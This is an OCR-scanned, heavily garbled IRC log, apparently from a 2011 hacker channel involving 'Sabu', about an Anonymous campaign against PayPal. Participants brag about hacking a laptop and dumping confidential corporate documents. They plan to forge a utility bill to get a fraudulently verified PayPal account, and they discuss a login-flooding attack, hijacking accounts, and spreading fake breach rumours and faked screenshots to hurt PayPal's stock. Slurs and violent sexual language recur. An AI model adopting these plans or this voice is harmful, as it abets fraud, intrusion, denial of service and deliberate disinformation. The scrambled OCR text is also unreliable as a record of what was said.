carwna get those into lr/wmz 
ok 

as i m seeing LR is the stronger one to do stuff 



I am going to absolutely rape your brain 
.... IMVU . 

hides 

uck is that, fuck is /this/ 
^^B^^H I am far too busy plotting social engineering 
i r^Secona Li fe 
to know what you're talking about 
but upon googling, you will die soon 
i bet most people there need a primary life 

rofol 
_ rofl* 

anyway - seems Second Life accepts microphone input, and my voice 



02:17 
02:17 

02:17 

modification input device is accepted 
02:17 < - - - 

02:17 < 
02:17 < 
02:17 
02:17 
02:18 
02:18 
02:18 
02:19 
02:21 




oh the lulz 

http : //www . youtube . com/watch?v=7f 1 K3NUgzf 

http : //www . youtube . com/watch?v=7f 1 K3NUgzf Q 
derp 

al so 

http : //www. youtube . com/watch?v=lhPxGmTGarM&f eature=fvwrel 

that cat must have just heard of IMVU. 

Second Life client... major CPU whore... must... close... 
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lul 

sure 

OMAN IT 

nothing changed 
lol 

I HA TE TY POS I 
sabu 



#! sunnydays .log 



from 2005 



EPIC TWEETS 

btw, seen this: 

http : //www. thesmoki nggun . com/documents/i nternet/f bi -exposes-terri fyi ng-face-anony 
mous-748293 

_ swesome shit 
haha 

sabu i made some noise with this 
also added a free Mercedes banner to my 

never liked No much but in this case, i 

full support 
02:25 < 




avatar for a good measure 
love her and she has our 




underwear 



she's hot 
s annoying on IRC tho lol 

i can imagine 

agreed ^^^H 
7.1 

she's annoying, unintelligent, and sits around on tinychat in her 

trying to get attention, but she's an Anon and deserves support 
no could be a good symbol of resistance in us 
hmm unintelligent i wouldnt say 

als^^ffi has a good image to market 

if she s able to avoid shouting or writing using CAPS all time, 

press will love her 




02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
it' 
02 
02 
02 
02 
02 
02 
02 
02 
02 



27 

27 
27 
27 
27 
27 
27 
27 
27 
28 
28 
28 
28 



time, but 



lol 

"what exactly did she actually do? 

yo 

nothing at all 
he writes using 
she* 

)u> did you see this 
<@Sabu> ROFL 

<©Sabu> they're saying that we 
<©Sabu> #phrack circa 1990s 
lets browser load for 

< 




caps all 
log 




1 n an agresive way 
http : //pastebi n . com/92 J Li UYf 
are from original project mayhem 
log 

kids get owned trying to dox #phrack people 



these 

ROFL 

heh. 

ol 

system is still reeling from loading Second Life for 10 seconds 
disinfo is a nice thing 
^^^g try activeworlds 

you won't ever complain about SL again 

doesn't help that my laptop fan is broken, ^^^^^H and that 
bed ^^^^ 

my laptop is on my bed 
it used to have 2 dans 
fans* 

now it has 1 that occasionally works 
Sabu what the Fucking Fuck, lol? 
and 1 that is always dead 
can kiss my ass 

must be a satire 

some weird way, despite my 8.3 system load average on a 

has only powered off from overheating once 

no its being pasted by #jester people 
ink its 100% 

I still don't understand how this thing hasn't died yet, lol 
sabu: thats jester ppl i'm sure, they used the color codes 
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02:29 
02:30 
02:30 
02:30 
02:30 
02:30 
02:30 
02:30 < 
02:30 < 



#! sunnydays .log 

ye 

it's not serious tho 
?Sabu> they think we are from project mayhem 
pretty sure 

or they want a reaction 

is going to sleep now 
: P 

well thats an usual reason why i like macbooks 






Sabu> kk 

yep 



overpriced 
also, night guise <3 
won't give them any :p 



02:30 <@Sabu> they want a reaction 
02:30 <@Sabu> goodnight 
02:30 <' 
02:30 < 
02:30 < 
02:30 
02:30 
02:30 
02:30 
02:30 
02:31 
somethi n'g 
02:31 < 
02:31 
shit, 
02:33 
02 
02 

02:33 





02:34 <@Sabu> reuw 
02:34 <©Sabu> true 



i know 

but hilarious nonetheless :) 
but not heat long battery always in bed 

XD 

lets ignore it, they might think they caught us... with 

they dont even know 
lol 

especially since it's unusual for you to not react on jester 

this log is funnnnnnnyyyyyyy 
the guy SSLz on twitter genuinely believes we own StrongVPN 
so I'd say that log might be serious 
they b e totally insane lol 
^^^B well, eeven more reason to ignore 
hm 

they may believe they caught us 
definitely, just flat-out pretend it doesn't exist 

yup +1 

it could be funy they think we own vpn services 
see if that pastebin contained 100% of our real identities and it 
we could probably be too scared to risk spreading it 
for the lulz 

so let's just act like it don't exist 



02:34 
02:35 
02:35 
02:35 
02:35 
02:35 
02:35 
02:36 < 
02:36 < 




also, it's good that they think we own VPNs/BitCoin/pastebin 
it makes them scared 
wai t ! ! 

doesnt H^^^^ own BTC? 
i thi nl^^^probably contains half shit and half serious thoughts 
they just want a reaction 
let's give them one: none, 
we should spread we own sophos 
i was about to put that in topic but then i realized, the current 



topic is MUCH more important :) 




02:36 < 
02:37 < 
02:38 
02:38 
02:38 _ 
timeout 
02:38 H _ 
#! sunnyoays 
02:38 < 
02:38 < 
02:41 < 
02:43 < 
02:43 < 
02:43 < 
02:44 < 
02:44 <' 
02:45 < 





Linden$ 



-> LR 



so Second Life just accepted my card 
i m a good cook 

goddamnit why do I have a 30USD limit, I want to spend $800 
bastards will not take my money 

|kerpi a-CDD32BC5.customers.ownit.se] has quit [Ping 

kerpia-50405546.torservers.net] has joined 

the resevoi r dogs aliases are played out as fuck hahah 

ttp : //www. youtube . com/watch?v=9GmEjCGQ3wl 
i just read all of http://pastebin.com/92DLiUYf seriously? WTF? 

http://en . wi ki pedi a. org/wi ki /interSystems 
worth looking into it? 

^^^g what was that site with LindenS again? 

I now have a Second Life account with Linden$ (BTC --> prepaid --> 
— > profit) 
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02:46 
02:46 
02:49 
02:49 
02:51 



<|^^M^lol i hacked a fucking laptop 
<|^^H and its not plugged 

<<3^^^ "This document contains confidential and proprietary information 
(the "information") of interSystems Corporation and has been prepared for the 
sole purpose of this presentation. The information contained herein is disclosed 
on the condition that it will be used solely in connection with its stated 
purpose. The recipient of this document shall not directly or indirectly 
disclose, allow access to, transmit or transfer the Information to any third 
party without in 

shit looks good 

but its running out of power >.< 

govt mil or enterprise? 
"its just the company i linked above 

thanks <3 
no gov o^tm connections found yet 

oh lord, have to load the SL client to get to a terminal for 

account verification 

was just a boredom hack aa 
however, dumped all documents 
gonna sleep now check them tomorrow, 
bye 

bye 
ah well 

58FA7D0C . 49786865 . 84e78e68 . 



#! sunnydays .log 
https : //www. vi rwox.com/ 




IP] has quit [User quit: 




02:59 
03:00 
03:00 
03:00 
03:02 
03:02 
03:03 
03:03 
03:03 
03:04 
03:05 
03:05 

03:05 

the affadavit 
03:05 < 
03:06 < 
03:07 < 
03:08 < 
anyone? 
03:08 
03:08 
03:08 
03:08 
03:09 
03:09 
03:09 
03:09 

03:09 

bill for Davi 
03:10 < 
03:10 < 
03:10 < 
03:10 < 
03:10 

03:10 

PayPal account 
03:10 ■ 
03:10 
03:10 
03:10 
03:11 



do we still need the spool z server? 
or did someone back this up finally? 

[_(a9lAFDFCD. 5B EF5915 ■ CEC56216.IP] has joined #! sunnydays 
#!sunnydays [+o ^^^g by Confuzion 

okay 

the paypal attack 

do we know WHO actually killed that? 

was it 

or whi c^Doatnet? 

[J^I^^^HH^B has quit [Ping timeout] 
TTwecoin^snow that, we can possibly destroy the case 
si nee 

"3600~ packets in a few hours was the top requetser" according to 



lulz 




bwah 

~577b avg packet or so 
someone that can fake a US utility bill /passport, anyone know 




hmm 



card verified 



lemme sned you one quick... :D 
1.9 megabytes of data 
oh boy. 

had ANYONE who could fake a passport 
i 'd be interested :D 
but i guuess you only need a copy 
i want a real one :p 
I just need a reasonably legit looking print/fax/copy of a utility 
Davidson at 1337 Lulz Drive 
he's phone verified, address verified, 
he just needs a bill to confirm 
well utility bill shouldnt be hard 

can you get -'some* TX utility bill? 
tnn only name/address would need to be changed 
if we do this then we have a 100% impossible to deny verified 

which they literally cannot limit 
and we can use it for all sorts of illicit shit 
eh 

dont we have one in the TX mails? 
:o 
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03:11 < 
03:11 < 

03:11 < 

the address 
03:11 < 
03:11 < 
03:11 < 
03:11 ■ 
im phomng"The 
the pol i ce ! ! ! 
03:12 < 
out of a 
03:12 < 
03:12 <' 
03:12 < 
03:12 p_ _ 
im phomng 



#!sunnydays.log 




sounds illegal 
if you can get 



lol 
en we'll 



:o im phoning the police!!! 

me a big print of a utility bill I can photoshop 



use an online faxer to fax it to PayPal 



changed the topic of #!sunnydays to: 
police!!! | in other news: <^^^H sounc 



sounds illegal :o 
egal :o im phoning 




add a crinkle effect in CS5 to make it look like i took it 



sounds illegal :o 




who'll call 
03:15 < 
03:15 < 
03:16 < 
03:17 < 
03:18 < _ 
available 




I will 
bag 
oh damn 

if this works, we can embarrass PayPal ahrd 
i messed it up 
changed the topic of #!sunnydays to: 

police! ! ! 

what you need? 

a utility bill from texas 

anything, phone, water, power .. blablubb 
a good scan 

let me check what was downloaded already 

yeah was thinking we might have one already lol 

otherwise we'll have ot look for more in the list 
but how to find? 

SabU NOW CALL ME TOO MUCH WHITEHAT AGAIN! ! ! I DARE YOU! 

i make my own #whitehat channel then, and i'll invite only ^ 

the police on you without hesistation! 
scanning attachments now 

how would you determine a utility bill? 
except by manual looking? 
yep. . 

have a directory listing if you want to see what is currently 



03; 
03: 
03: 
03: 
03: 
03: 




:19 
:20 
:24 
:24 
:24 
;24 
account 
03:25 < 
03:25 < 
03:29 < 
03:29 < 
http://www 
rted-unl v/ 
03:30 < 
03:36 < 

03:36 < 

http : //www 



how important this info is 
1st chinga la migra leak 
something 

'corporate payment systems' 




hrm I'm remembering 
on the scale of the 
ok, I think I found 
a scan of a bill to 
or from 

but hmm, the company is not in TX for some reason, even though the 

ased in TX 
want to take a look anyway? 

ok, found another bill for a contruction comapny doing some labor 
She went to UNLV right? peep this (new): 

asvegassun . com/news/2011/ j ul /26/i nf ormati on-secu ri ty-breach-2008- repo 

yeah, she did :) 

not new but i just found it at front page of google news 




enzi nga . com/ news/ll/07/1789905/f orget-anonymous-evi dence-suggests-gop 



-hacked- stole-2004-el ection 



03:37 
03:37 
03:37 
03:40 
03:40 
03:40 
03:40 
03:40 



03 
03 
03 
03 
03 
03 



40 
40 
40 
40 
41 
41 




flooding the 
03:41 <- 



shakes head at PayPal 
_ life is hard when they don't like fraud 
what does anonymous have to do with that story 
just the title 
you know 

we can switch of paypal 
still 

but we should save this 
they used it to get more readers 
lol 
actually 

we should code a little login-flooder 
that WOULD work with loic 

have -2000 people actually LOGGING in to papal pr trying to, 
requests 

oh they'd be pissed 
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03:41 
03:42 
03:42 
03:43 
03:43 
03:47 




# lsunnydays.log 
website be up . . but. . . 
attack the login not the site 

captcha? who cares, we dont need to get past this 
attacking the login is amusing when going after MMOs 
login server down = pissed off gamers 
hmm if cpsenergy. com' s login system wasn't broken I have a valid 

account 

03:48 <©Sabu> opperation CASH OUT OF PAYPAL? 
03:48 <©Sabu> Lets do this 
03:48 <©Sabu> OPCASHOUT 

03:48 <@Sabu> Tell everyone to cash out their accounts and close them 
03:48 <@Sabu> thats way more powerful 

03:48 <©Sabu> when you have 30,000 people close their accounts 
03:49 <^^^^^^B 30,000 out of a hundred million? 

03:49 <d^^^^^nnore effective method is saying we owned PayPal and that anyone 
that do esn't w ant to be raped should close their account 

03:49 <^^^H but instead of announcing it, we just start rumours that PayPal is 

and scare people into making them want to leave 
that's a good idea 

start with #jester, they believe anything, apparently 

Jester thinks we're millionaires and that we rape BitCoin, 
fake a log about owning PayPal and leak it to them 
sweet dreams guys <3 :D im gonna get some rest :D 
night mm 
gnite 
:3 

or I say we should just dump a fake log onto pastebin with random 



compromi se 
03:49 
03:50 
03:50 
03:50 
might 
03:50 
50 
51 
51 
51 
nicks 
03:51 
03:51 
03:51 H 
leavin^n 

03:51 <(asabu> 30,000 out of a hundred million will 
03:51 <@Sabu> if we say we compromised paypa 
03:51 <@Sabu> and have no proof 
03:51 <@Sabu> we look like we're full 



03: 
03: 
03: 
03: 




nn : ) 

and let people find it 

8E775B9C.CB47D490.A27E456C.IP] has quit [User quit: 

start to cause a sti r 



03; 

03; 

03; 

we 

03; 

03; 

03; 

03; 

03; 



51 <ii 

52 <@Sabu> 




of shit 

Sabu, we're not saying that, we're starting rumours 
rumors are good, but we got to back it up somehow eventually 

we're not backing it up, we start rumours from outside of Anon and 
talk about it 

like we're trying to cover it up 
true 



52 <(asabu> we could do that 



52 
53 



them 



backing it up is the opposite of what we need to do 

proposes we fake screenshots of LR/Linden$/BTC balance and "leak" 



03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 
03: 



53 <(asabu> true to that 



54 
54 
54 
55 
55 
55 
55 
55 
55 
56 
56 
56 
56 
56 




thus backing up the idea that we are filthy fucking rich 
like a bauss 

P 



up 



^^^1 back me 

wut 

check the twatter 
what about it? 




there is an anon group going by project mayhem 
you're highlighted i guess : 



loml 

see some other channel 
iooohooo! ! ! ! 
yeah "but what about the tweet 
doesn't understand 

<-~^^^ ^ WE BROUGHT prOJECT M4YH3M BACK! 

<@Sabu> with that list we can own mad neoz 

56 <@Sabu> yo ^^^H 
56 <~|HH doh, 
http : // twi tt er ■ con\/# ! /AnonymouslRC/status/96066570438189056 
03:56 <^^Msabu: I know. 

03:56 <^^^|H I've seen it, what about it though? 
03:56 < ^^jl am so down 
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03:56 
03:56 
03:57 
03:57 
03:57 
03:57 




03; 
03: 



57 
57 



03:58 

03:58 

03:58 

03:58 

03:58 

03:58 

03:58 

03:58 

03:58 

03:58 

03:59 

03:59 

03:59 

03:59 

03:59 

03:59 

03:59 

04:00 

04:01 

04:01 

04:01 

04:01 

04:01 

04:01 

04:02 

04:02 

04:02 

04:03 

04:03 

paypal 

04:03 

04:03 

04:04 

thi ng 

04:04 

04:04 

04:04 

04:05 

04:05 

04:05 

04:05 

04:05 

part . 

04:05 

04:05 

04:06 

04:06 

04:07 

04:07 

04:07 

04:09 

04:09 

04:09 

04:10 

04:10 

04:12 

] 

04:12 
enter 
04:12 




lulzsecs style? i 
getting Rihanna's 



guess i never found 
twitter, let's just 




#! sunnydays .log 
rm some more nazi sites 
... :o 

tweet, not RT, but original? 
if 50 ppl boycott paypal 
we make more damage actually 
not really LulzSec's style 
as long as they are actual customers 
lol 

what is 
if we ' re 
6.6 mill 

meh, yesterday we heard we had Biever's 
Bi ebers* 
points to Sabu 

you have both? 
ame Sabu :D :D :DE 
the hell? 

! 

shut the fuck up, no way 
nt believe it either :p 
bieber tweet to boycott paypal 
i believe 



out :o 

do it from 



that 



we want to Beliebe! 




Its 



let 
and 
lol 

I WANT TO BELIEBE! 

Sabu what's the deal 
hahah 

ok let me hit up null 
I really wanted justin biebers 
I now have 105,000 Linden$ 

goatse Gmillion people? 
rickroll them? 

there's gotta be something fucking hilarious 
announce his new single, "LulzSec Rukuz" 
gents 
thats all gravy 
ill set it up asap 

anarchcommuni sm RT ©anonopndc: Anouncing #opPAYPAL cancel your 
#antisec #anonymous #opESR #usdor RT RT 
lol 

it's started already 

all fine with me, as long as the first tweet is a boycott paypal 

<~ ^j^^ let's show them how to invoke real damage 
<~ ^B^M ddos? lol 

<'^^|S[ that's the least of their problems 
<(asabu> fi ne 

<(asabu> I'm twittering too 
<©Sabu> lets do this 

<@Sabu> yo get #voice active you slut 

<--^^^^| Bronardoo ©YourAnonNews ©AnonymouslRC ©LulzSec i just did my 
. . money o n paypal 0.04 USD 
<~ ^^^M :D 

<^^^^^H nah he's not there anymore 

<@Sabu> so should I take over operations there? 

<@Sabu> or? 

<@Sabu>p^^^ give me your ideas on what we are going to do with voice 
<~^^^^^nmm for the time being, yes, by all means 
<-^W^^^M until we find a final solution 
<(asabu> ok yo 

<@Sabu> new operation will be eliteskeet nigga 

< ^^■■IHH the paypal thang? 

< ^^^^^^y^l get a nexus account yet? 
ght ha v e one 

lJimkerpia-50405546.torservers.net] has quit [User quit: 

< TO access the system, visit our website at www.accurint.com and 
t he us er 

< Login information that is provided below: User Name: 
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Company ID Number: 



# lsunnydays.log 



04:13 < 

04:14 <(asabu> 
04:16 < 
04:21 < 
they aren 



any 





IP/state/city required? 
get to work on opPAYPAL press release neegah 
what press release? 

coudlnt' find any TX bills besides what 

t utility bills but invoices to some randomc 
yar they have pissed me off 
i'm damaging in a legal 
I found a 
now 

looking at any rate 



:X 



I mentioned earlier, and 
orporai tons 



it's okay" 
just found It 
thank you for 



way now 

way around it 



04: 
04; 
04; 
04; 
04; 
04; 

you want to 
04:38 <(i 
38 <(! 

38 < 

s reaayr 

39 <f 
04:40 < 
04:40 < 



04 
04 
it 
04 



9 

? aclyy 
c^J^^w 



actually I'm very pleased at the moment because i just found a new 
Lindens or BTC to bank account in 4 anonymous steps, without PayPal 
so drinks for everyone 
cool can we hook up a VPS to host/edit/deploy the cop emails? 
I said we have to take his mirrors down sometime soon 
I can pay for one with a prepaid US card if you make an invoice 
(I can log in and pay said invoice) 
make an invoice? 

well, I suppose I could just give you a prepaid card for use if 

set it up 
$200 

got one spare 

ure that'll be anonymous enough to deploy the emails publicly when 



yup 
1 ce 



well since we don't have to go with a VPS that accepts bitcoins we 



have options 
04:41 < @sabu> unffff 

04:41 <(£HI^H get a US-based VPS and I can use prepaids, I only have prepaids 
left that are personally mine (all crew prepaids are empty) but I don't mind 
paying for a VPS 

just happy his system works 



04:41 
04:42 
04:42 
04:42 
04:42 
04:42 
system is 
04:43 <' 
04:43 < 
04:43 < 
systems 
04:44 <(asabu> 




nice 

i'll swap some password lists for it if you like =) 
some hot Oday 

hmm should find a VPS that allows us to run tor hidden services 
whatever really, just want to help - but make sure the payment 



ocated in the US or we might hit "restricted country" errors 
prepaids are dicks like that 

yeah 

Facebook and Second Life like my cards, so assuming all US-based 
yo 



04:44 <(asabu> twitters blowing up 
04:44 <©Sabu>ROFL 
04:46 <(£^^^H got a card lined up 



we used to pay for internet-bs and 



for you $180 left, this is 

HMA so i^oefinitely works 



the same card 




can you get me a hma? 
not cronical 



invoice with it) 
:X 



04:47 <^^^H (I paid internet-bs 
04:48 <(dsabu> 
04:48 <@Sabu> 
04:48 <@Sabu> 

04:48 <@Sabu> @anonymouSabu Why haven't you used ©lulzsec to promote #OpPayback? 
Your troll on vacation? l can write a silly little message if need be. 




04:49 <@Sabu> 
04:50 < _ 
companie^tnat a 

04: 50 <@Sabu> pow: 
vps in minutes and 
04:50 <@Sabu> make 
different things 
04:51 < 



mind writing a blurb for #opPAYPAL and link ^^H^^ ire link 
nice, I'm currently browsing around for US-base^iosti ng 
ow you to run tor 
I suggest using buildyourvps.com automatic, itll create you a 

its cheap 

cheap ones 6 dollars a pop and round robin them bitches for 



04:51 < 
used it 
04:51 < 
04:51 < 




ror 



yes please 

Sabu, I can't use the same card to pay for another HMA, I already 
a month for someone else 
we need you fort this 
HMA blocks duplicates 
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04:51 < 
04:51 < 
04:51 < 
04:52 < 
al ready 
04:52 < 
04:52 < 
04:52 <' 




#! sunnydays .log 
i cant write anything today 
tried it before 
i 'm like toally drunk., which is why i just did this 
i think at least 20-30 ppl have confirmed to have closeed account 

grown ng 
i nsance 

not to dishearten anyone, but this PayPal boycott thing will only 



fail as hard as the IRL Sony store raids, where nobody showed up 



04:52 
04:53 



PayPal is compromised 



who in their right mind would leave PayPal because we asked 
the only way to make people leave is to make them afraid that 



04:53 <' 
04:53 <' 
04:54 < 




and start making PayPal stock drop through fear and rumours 
if anything asking people to boycott it only weakens those rumours 

^ (also, requesting people to leave just makes it look like we've 

got nothing on PayPal, and that we're angry kids trying desperately in any way we 
can to get back at them) 

truth is that PayPal makes its money from eBay/business owners. 



04:55 



and those types of people would never consider leaving PayPal 



04:55 < . 
funds an" 
04:56 < 
they'd scram 



the only people that would leave would be people with 0 PayPal 
maybe one linked credit card, which PayPal only takes a tiny fee from 
now as for the rumours, if everyone thinks PayPal is hacked, 
e and cause a BTC market-style drop as business owners flee 



04:57 < we could always hijack some paypal accounts and make some 

involun tary do nations 

04:57 <<Sf^^M logic would be this: "I have $500,000 in PayPal and the world's 
most popular hacking groups might have compromised it, they're going to come 
after me fi rst" 



04:57 
04:57 
04:59 
cause more 
04:59 < 
05:00 < 




thus the big players will cash out and rape PayPal's stock 
just super saiyan' 

tl;dr one big businessman with $1,000,000 in PayPal leaving will 

arm than 30,000 random people leaving by a large margin 
tl;dr tl;dr boycatt bad, rumours good 

and we can spread these rumours on the underground to security 

professionals, so it goes in deep and people start leaving, thinking they're one 
step ahead 

05:01 this whole paypal ddos fbi raid makes me even angrier at 2600 in 

light of^ms: http://www.2600.com/news/view/article/12037 

05:02 <©Sabu> 04:24 ^^^^ btw www.netteller.com store the passwords in plain 

text and is worst than Paypal. 

05:02 <®Sabu> 04:40 <SABU> ok good point 

05:02 <@Sabu> 04:42 ^^^H Can i ask you one question ? Qi'm not a journalist or 
blogger and won't shar^tne answer) 
05:02 <@Sabu> 04:51 <SABU> yes 

05:02 <@Sabu> 04:51 ^^^H Do you support Zionist movement ? 
05:02 <(asabu> 04:54 <sA6U> No. 

05:02 <(asabu> 04:56 ^^^^ I will provide you soon picture of paltalk and 

netteller bosses in a party in israel gov. 

05:02 <@Sabu> 04:57 ^^^H I know someone who lost around 90.000$ when netteller 

closed his account a^e^ie collected donation for Palestinians! 

05:02 <©Sabu> 05:01 <SABU> ok 

05:02 <@Sabu> 05:01 <SABU> by all means 

05:02 <@Sabu> 05:01 <SABU> get me those informations 

05:02 <©Sabu> 05:01 <SABU> what is an alternative moeny site that is not Zionist 
and are not thieving corrupt shits liek paypal? 



it's only for media attention and compromising the legal 



05:02 
05:02 
case 

05:02 < @Sabu> n ow as for what you said 
05:03 <'^^^^H cause i am SURE 

05:03 <(asabu> so far this is a pretty cool legal operation 
05:03 <~^^^^H that this hurts them more than any ddos on their stupid site 
05:03 <@Sabu> why taint it by starting rumors that we compromised paypal 
05:03 " 
05:03 

05:03 <(asabu> lets push the idea that we are boycotting paypal for its greed, 
fucked up business practice 



<'^^H^q unless we actually kill the login for 24+h 

<@Sabu> Tts gay 



05:03 



yup it will work 
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#! sunnydays.log 

05:03 <@Sabu> thievery, account freezing, I've personally lost real money 
05:03 < although false rumors about compromising them would certainly cause 

paypal some pai n, it would lessen our credibility in the media 
05:03 <~^^HH its not just peole saying blah 

05:03 < @Sabu> t hey have one of my real acocunts somewhere with 300 frozen 
05:04 <'^H^H they submit screenshots etc 

05:04 <(asabu> Because I misspelled my name 3 or 4 years ago and cant remember my 
old cc number 

05:04 <@Sabu> its bullshit 
05:04 <©Sabu> yeah 

05:04 <@Sabu> the people are down for this 
05:04 <@Sabu> so ^ 

05:04 <@Sabu> get your writing tophat out 

05:04 < we should have a strong record of deliveringwhen we make the claim 

05:04 < gsapu> please 

05:04 <@f^^^t no we're not starting the rumours ourselves, we're not 

letting the media Know, my point was that we start rumours on the underground so 
it spreads throughout the rich fuckers that love PayPal 



05:04 < 
us 

05:04 < 
05:05 < _ 
hurt them 




and we don't deliver because the rumours don't start or come from 



my point here is., we can keep this PErFECTLY legal and 



05:05 < 
05:05 < 
05:05 < 
05:05 < 
05:05 
05:06 
05:06 
05:06 



and they cant do SHIT about it 
we dont need to lie 
we just say the TRUTH 
much better 

THEY WILL SUfFER 

it also plays into a lot of other things 
it mobilizes people 
the lying isn't from us, we wouldn't release a statement /from/ 
Anonymous saying "we compromised PayPal", we put on a fake alias or two and go 
around saying "l was in deep with Anon and I think they may have compromised 
PayPal " 

anyone who has paypal can do a perfectly legal thing to support 




05:06 < 
us 

05:06 < 
05:07 < 
05:07 
05:07 < 
05:07 < 
05:08 
stock 
05:08 
05:08 
05:08 
05:08 
05:08 
05:08 




and we only tell security pros/business owners 
well, i still think., we should play this plain honest 
we are past the lies 

that is honest, there are no lies from Anon 
tbh, not liek it. with murdoch that went almost bad 
it was lucky we had the nato stuff, otherwise we'd be laughing 

Murdoch failed because /we/ said /we/ got emails 
yes 

looks at sabu and ducks 
lol 

AND I HAD TO FIX IT :p 

we're not saying we hacked PayPal, we're acting as outsiders that 



/think/ Anonymous has hacked PayPal 



05:08 < 
05:08 < 
05:08 < 
05:09 < 
05:09 
05:09 
05:09 




05:09 <(asabu> 
05:09 <- 



inception 
does this help? 
hmmm yeah i get you really 

i understand your idea., and it may be good 

Sabu chucks a duck at 

but i think playing it staright is better 
isabu>~yes 



I agree 
straight* 



05:09 <@Sabu>l think right now 
05:09 <@Sabu> its exploding 
05:09 <@Sabu> without rumors 
05:09 
05:09 
05:09 
05:09 
05:09 
05:09 



we can win this 
iSabu> we can continue this momentum 

by being honest 
gSabu> yes 

■■^B so if you're saying both are good, why can't we just do both? 
asabu> 100% 
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05:09 < 
05:09 < 
05:09 < 
05:10 < 
Anon an 
05:10 <' 
05:10 <' 
05:10 < 
05:10 < 
05:10 < 
"leak" tTiem 
05:10 < 

05:11 < 

and smokescreens 



#! sunnydays .log 

FUCK PAYPAL 

they all hate them anyway 
Sabu> because we dont need to 

we're not backing it up, we start rumours from outside of 




talk about it 

like we're trying to cover it up 

<Sabu> true 

<Sabu> we could do that 

backing it up is the opposite of what we need to do 
proposes we fake screenshots of LR/Linden$/BTC balance and 



<Sabu> true to that 
we're no thugs and we really don't need to resort to weird shadow 
we may for fun (if its for jester and alike) 



05:11 <~ ^^^^B but no need to fool our actual belief and reasons and the public 
05:11 <~^^^^| we can easily win by playing the straight, honest, good guys 
whih we fucking actually are 

well, we may be hackers and anarchists but we're still good 
and we have no reason to lie or put in trange false info 
usually it will backlash 

I can't see how it would backlash, random people have started 

rumours that Anonymous has hacked Facebook, Google, USA census, UK census, and 
it's caused chaos and panic 



05:11 
05:11 
05:12 
05:12 
05:12 




05:12 <' 
05:12 <' 
05:13 < 

05:13 < _ 

05:13 <@Sabu> 05:10 
05:13 <@Sabu> 05:10 < 
05:13 < 




because 




05:13 
05; 



then we just denied them all and it still caused panic 
our image wasn't harmed in the slightest in all of those cases 
i don't see how we gain from it, i guess 
or our mission 

<Sabu> true 

<Sabu> we could do that 

lere would be chaos and panic - I propose we start 

outside rumours that Anonymous has hacked PayPal, wait a week, then deny it (from 
Anonymous) 

05:13 <@Sabu> true we COULD do that focus on keyword 

05:13 <@Sabu> as of right now we're not doing that, and its fucking exploding on 

its own 

05:13 < ~^^^^B no that won't work 

<^M^^B how wouldn't that work? 
;13 <@SaDu> I don't understand why you are focusing on starting rumors etc 
05:13 <@Sabu> like whats the point 

05:13 <'4^H^| Anonymous has hacked PayPal « just no, really 
05:13 <@Sabu> forget 
05:14 <@Sabu> forget it 
05:14 <@Sabu> I got a writer 
;14 <(asabu> brB 

why hack? no need, we can hurt them JUST SO 
legal and just cause we haz the power by now 
if we REALLY need to resort to that measures 
we can still do it later 
"okay, enjoy seeing a repeat of the original OpSony protests 
almost has a deja vu from some kitten channel lol 
call me to whitehat but that's not IT 
"if you really want to hurt PayPal, SEing massive PayPal players 
into leaving PayPal will harm them the most 
05:16 <@Sabu> ^^^^ 
05:16 <@Sabu> my nigga 

05:16 <^^^H I see no harm in not trying both at once 
05:16 <(asabu> look at twitter 
05:16 <@Sabu> its already happening 

05:16 <@Sabu> this conversation is not in the correct frame of time 

05:16 <@Sabu> your points could have made sense pre-operation 
05:17 <@Sabu> but post-operation its redundant 

05:17 <@Sabu> we've already done it / its trending, people are posting screen 
shots of closed accounts 



05 

05:14 
05:14 

05:14 < 
05:14 < 
05:14 < 
05:15 
05:15 < 
05:16 < 




05:17 < 
pi ayers 
05:17 < 
05:17 < 
05:17 < 




if you really want to hurt PayPal, SEing massive PayPal 

eaving PayPal will harm them the most 
that is true 

but that cant be achieved by spreading lies 
Sabu, I'm just trying to add another layer to the operation 
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#! sunnydays . log 

05:17 <~^^^^H they w111 see 1t 
05:17 <@Sabu> ok so 
05:17 <@Sabu> do it? 

05:17 <@Sabu> I mean what exactly are you trying to do? 
05:17 <@Sabu> by all my means my brother 
05:18 <@Sabu> go start the rumors 

05:18 <(^^HH in fact, if this is already trending, starting underground rumours 
that PayP^nias been hacked will only amplify the truth more 

05:18 <|Sabu>ok 

05:18 <(£^^^ Sabu: I'm trying to pitch something new to the team and you're 
calling my points red undant and telling me to do it on my own 
^^--'-^ ^'^^KM ^^^1 being helpful 

05:19 <@Sabu> is this where you start calling me crazy again? 

05:19 <@Sabu> truth is the operations already started, so if you want to go off 

and start rumors 

05:19 <@Sabu> by ALL MEANS 

05:19 <@Sabu> but heres the issue 

05:19 <©Sabu> its exploding on its own without doing anything illegal or lying 

05:19 <@Sabu> so why even taint it? 

05:21 <~^^^^H y^F' ^t^h 

05:21 <'- ^B^^j dont .. get .. ersonal 

05:21 < ~^^^^B no need 

05:21 <^S^^| have you had any important or significant people closing their 
account s, or ju st random people that PayPal doesn't care about? 
05:21 <-^^^^| well, probbly not 
05:21 < ~^^M yet 

05:21 <^|^^ I mean, show me a screencap of a business owner that PayPal relies 
on leaving PayPal, and you have me convinced 

05:21 <@sabu> if 100,000 random people leave I'm sure they dont care, but we as 
people should 

05:21 <@Sabu> thats step one 
05:22 <@sabu> convinced of what? 

05:22 <(asabu> I'm pretty sure no one here thinks we can shut down paypal in a day 
05:22 <@Sabu> but at least we can show them that the people can unite against 
their l ame ass es 

05:23 <^^^^| you can't harm PayPal in the slightest by convincing 
easily-persuaaed Anon fans to close their accounts, 100 or 100,000 
05:23 <@Sabu> its either we go this route, or I hop on box and hit them 

with lOOgbps 

05:23 <@Sabu> I would rather do this this way 
05:24 <@Sabu> and you want to do it using rumours 
05:24 <mm^ I said both 

05:24 <@SaDU> how do you propose we spread rumours? 
05:24 < @Sabu> spear-phi shing CEOs? 

05:25 <^^^^| ^ny kind of rumour, there are a million possibilities 

05:25 <^B^H doing rumours on their own fails, doing your plan on its own seems 

to fail ^^tne longrun, why not just do both? 

05:26 <(asabu> OK SO LETS DO BOTH 

05:26 <(asabu> what DO YOU PROPOSE? 

05:26 < @Sabu> AND CAN YOU WRITE SOMETHING? 

05:26 <^^^^H I haven't proposed anything, I literally thought up this idea 20 
mi nutes ago 

05:26 <^H^^| and can you turn your caps lock off, you're looking pretty mad 

05:27 <©sabu> I'm not mad. I'm annoyed with you 

